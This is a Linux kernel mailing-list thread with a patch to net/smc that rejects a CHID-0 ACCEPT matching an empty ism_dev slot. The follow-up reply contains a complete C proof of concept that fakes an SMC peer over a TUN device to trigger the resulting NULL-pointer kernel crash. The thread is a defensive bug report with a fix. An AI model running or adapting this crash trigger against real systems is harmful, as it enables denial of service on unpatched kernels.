* [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot
@ 2026-05-11 6:21 Xiang Mei
2026-05-11 6:28 ` Xiang Mei
0 siblings, 1 reply; 2+ messages in thread
From: Xiang Mei @ 2026-05-11 6:21 UTC (permalink / raw)
To: netdev
Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390,
bestswngs, Xiang Mei
On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is
reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt()
populates V2 entries starting at index 1, so when no V1 device is
selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] ==
NULL and ism_chid[0] == 0.
smc_v2_determine_accepted_chid() then matches the peer's CHID against
the array starting from index 0 using the CHID alone. A malicious
peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches
the empty slot, ini->ism_selected becomes 0, and the subsequent
ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at
offsetof(struct smcd_dev, lgr_lock) == 0x68:
BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0
Write of size 4 at addr 0000000000000068 by task exploit/144
Call Trace:
_raw_spin_lock_bh
smc_conn_create (net/smc/smc_core.c:1997)
__smc_connect (net/smc/af_smc.c:1447)
smc_connect (net/smc/af_smc.c:1720)
__sys_connect
__x64_sys_connect
do_syscall_64
Require ism_dev[i] to be non-NULL before accepting a CHID match.
Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-7
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
net/smc/af_smc.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c
index 185dbed7de5d..12ea3b6dbc64 100644
--- a/net/smc/af_smc.c
+++ b/net/smc/af_smc.c
@@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc,
int i;
for (i = 0; i < ini->ism_offered_cnt + 1; i++) {
- if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
+ if (ini->ism_dev[i] &&
+ ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
ini->ism_selected = i;
return 0;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot
2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei
@ 2026-05-11 6:28 ` Xiang Mei
0 siblings, 0 replies; 2+ messages in thread
From: Xiang Mei @ 2026-05-11 6:28 UTC (permalink / raw)
To: netdev
Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390,
bestswngs
Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.
Required key configs:
```
CONFIG_SMC=y
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
```
Here is a PoC trigger that causes the intended crash shown in the
commit message:
```c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <fcntl.h>
#include <linux/if_tun.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#define AF_SMC 43
static int tun_fd;
static uint32_t my_ip, peer_ip; /* network byte order */
static const uint16_t PEER_PORT = 9999;
static uint16_t csum(const void *p, int n, uint32_t s) {
const uint16_t *q = p;
while (n > 1) { s += *q++; n -= 2; }
if (n) s += *(const uint8_t *)q;
while (s >> 16) s = (s & 0xffff) + (s >> 16);
return ~s;
}
static uint16_t tcp_csum(uint32_t sa, uint32_t da, const void *h, int n) {
struct { uint32_t s, d; uint8_t z, p; uint16_t l; } __attribute__((packed))
ph = { sa, da, 0, IPPROTO_TCP, htons(n) };
uint32_t s = 0;
for (unsigned i = 0; i < sizeof(ph) / 2; i++) s += ((uint16_t *)&ph)[i];
return csum(h, n, s);
}
/* Send IPv4+TCP packet on the TUN device. opt_len must be multiple of 4. */
static void tx(uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack,
uint8_t flags, const void *opts, int opt_len,
const void *payload, int plen)
{
uint8_t buf[2048] = {0};
int thlen = sizeof(struct tcphdr) + opt_len;
int tcplen = thlen + plen;
int iplen = sizeof(struct iphdr) + tcplen;
struct iphdr *ip = (struct iphdr *)buf;
struct tcphdr *th = (struct tcphdr *)(buf + sizeof(*ip));
ip->version = 4; ip->ihl = 5; ip->tot_len = htons(iplen);
ip->ttl = 64; ip->protocol = IPPROTO_TCP;
ip->saddr = peer_ip; ip->daddr = my_ip;
ip->check = csum(ip, sizeof(*ip), 0);
th->source = htons(sport); th->dest = htons(dport);
th->seq = htonl(seq); th->ack_seq = htonl(ack);
th->doff = thlen / 4; th->window = htons(65535);
th->syn = !!(flags & 2); th->ack = !!(flags & 0x10);
th->psh = !!(flags & 8); th->rst = !!(flags & 4);
if (opt_len) memcpy(th + 1, opts, opt_len);
if (plen) memcpy((uint8_t *)th + thlen, payload, plen);
th->check = tcp_csum(peer_ip, my_ip, th, tcplen);
if (write(tun_fd, buf, iplen) < 0) perror("tun write");
}
/* TCP option: experimental, magic 0xE2D4C3D9 ("SMC"), len 6, + 2 NOPs. */
static const uint8_t SMC_OPT[8] = { 254, 6, 0xE2, 0xD4, 0xC3, 0xD9, 1, 1 };
/* Build the malicious 78-byte SMC-D V2 CLC ACCEPT with d1.chid = 0. */
static int build_accept(uint8_t out[78]) {
memset(out, 0, 78);
memcpy(out, "\xE2\xD4\xC3\xC4", 4); /* eyecatcher SMCD */
out[4] = 0x02; /* type = ACCEPT */
out[5] = 0x00; out[6] = 0x4E; /* length = 78 */
out[7] = (2 << 4) | 1; /* version=V2, typev1=SMC_TYPE_D */
/* d0.gid / d0.token: arbitrary; rest of d0/d1 zero (including d1.chid). */
memcpy(out + 74, "\xE2\xD4\xC3\xC4", 4); /* trailer eyecatcher */
return 78;
}
static void *responder(void *_) {
uint8_t pkt[2048];
uint32_t srv = 0xC0DECAFE, cli = 0;
uint16_t cport = 0;
int handshake = 0, sent_accept = 0;
while (1) {
int n = read(tun_fd, pkt, sizeof(pkt));
if (n <= 0) continue;
struct iphdr *ip = (struct iphdr *)pkt;
struct tcphdr *th = (struct tcphdr *)(pkt + ip->ihl * 4);
if (ip->protocol != IPPROTO_TCP || ntohs(th->dest) != PEER_PORT) continue;
cport = ntohs(th->source);
int plen = ntohs(ip->tot_len) - ip->ihl * 4 - th->doff * 4;
if (th->syn && !th->ack) { /* SYN */
cli = ntohl(th->seq) + 1;
tx(PEER_PORT, cport, srv, cli, 0x12, SMC_OPT, 8, NULL, 0);
srv++;
} else if (th->ack && !plen && !handshake) { /* SYN-ACK ACK */
handshake = 1;
} else if (handshake && plen > 0 && !sent_accept) { /* CLC PROPOSAL */
cli = ntohl(th->seq) + plen;
tx(PEER_PORT, cport, srv, cli, 0x10, NULL, 0, NULL, 0);
uint8_t accept[78];
int alen = build_accept(accept);
tx(PEER_PORT, cport, srv, cli, 0x18, NULL, 0, accept, alen);
srv += alen;
sent_accept = 1;
}
}
}
/* Bring up TUN with my_ip via ioctls (rootfs /sbin/ip is broken in repro). */
static void setup_tun(void) {
struct ifreq ifr = {0};
ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
strncpy(ifr.ifr_name, "smc0", IFNAMSIZ - 1);
tun_fd = open("/dev/net/tun", O_RDWR);
if (tun_fd < 0 || ioctl(tun_fd, TUNSETIFF, &ifr) < 0) { perror("tun");
exit(1); }
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in *sin = (struct sockaddr_in *)&ifr.ifr_addr;
sin->sin_family = AF_INET; sin->sin_addr.s_addr = my_ip;
ioctl(s, SIOCSIFADDR, &ifr);
inet_pton(AF_INET, "255.255.255.0", &sin->sin_addr.s_addr);
ioctl(s, SIOCSIFNETMASK, &ifr);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
}
int main(void) {
inet_pton(AF_INET, "10.0.0.1", &my_ip);
inet_pton(AF_INET, "10.0.0.2", &peer_ip);
setup_tun();
pthread_t tid;
pthread_create(&tid, NULL, responder, NULL);
usleep(200 * 1000);
int s = socket(AF_SMC, SOCK_STREAM, 0);
if (s < 0) { perror("socket(AF_SMC)"); return 1; }
struct sockaddr_in sa = { .sin_family = AF_INET,
.sin_port = htons(PEER_PORT),
.sin_addr.s_addr = peer_ip };
fprintf(stderr, "[*] connecting AF_SMC ...\n");
connect(s, (struct sockaddr *)&sa, sizeof(sa)); /* expect: kernel oops */
sleep(5);
return 0;
}
```
Feel free to ask any questions to reproduce this issue.
Thanks,
Xiang
On Sun, May 10, 2026 at 11:21 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is
> reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt()
> populates V2 entries starting at index 1, so when no V1 device is
> selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] ==
> NULL and ism_chid[0] == 0.
>
> smc_v2_determine_accepted_chid() then matches the peer's CHID against
> the array starting from index 0 using the CHID alone. A malicious
> peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches
> the empty slot, ini->ism_selected becomes 0, and the subsequent
> ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at
> offsetof(struct smcd_dev, lgr_lock) == 0x68:
>
> BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0
> Write of size 4 at addr 0000000000000068 by task exploit/144
> Call Trace:
> _raw_spin_lock_bh
> smc_conn_create (net/smc/smc_core.c:1997)
> __smc_connect (net/smc/af_smc.c:1447)
> smc_connect (net/smc/af_smc.c:1720)
> __sys_connect
> __x64_sys_connect
> do_syscall_64
>
> Require ism_dev[i] to be non-NULL before accepting a CHID match.
>
> Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-7
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/smc/af_smc.c | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c
> index 185dbed7de5d..12ea3b6dbc64 100644
> --- a/net/smc/af_smc.c
> +++ b/net/smc/af_smc.c
> @@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc,
> int i;
>
> for (i = 0; i < ini->ism_offered_cnt + 1; i++) {
> - if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
> + if (ini->ism_dev[i] &&
> + ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
> ini->ism_selected = i;
> return 0;
> }
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-05-11 6:29 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-11 6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei
2026-05-11 6:28 ` Xiang Mei
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox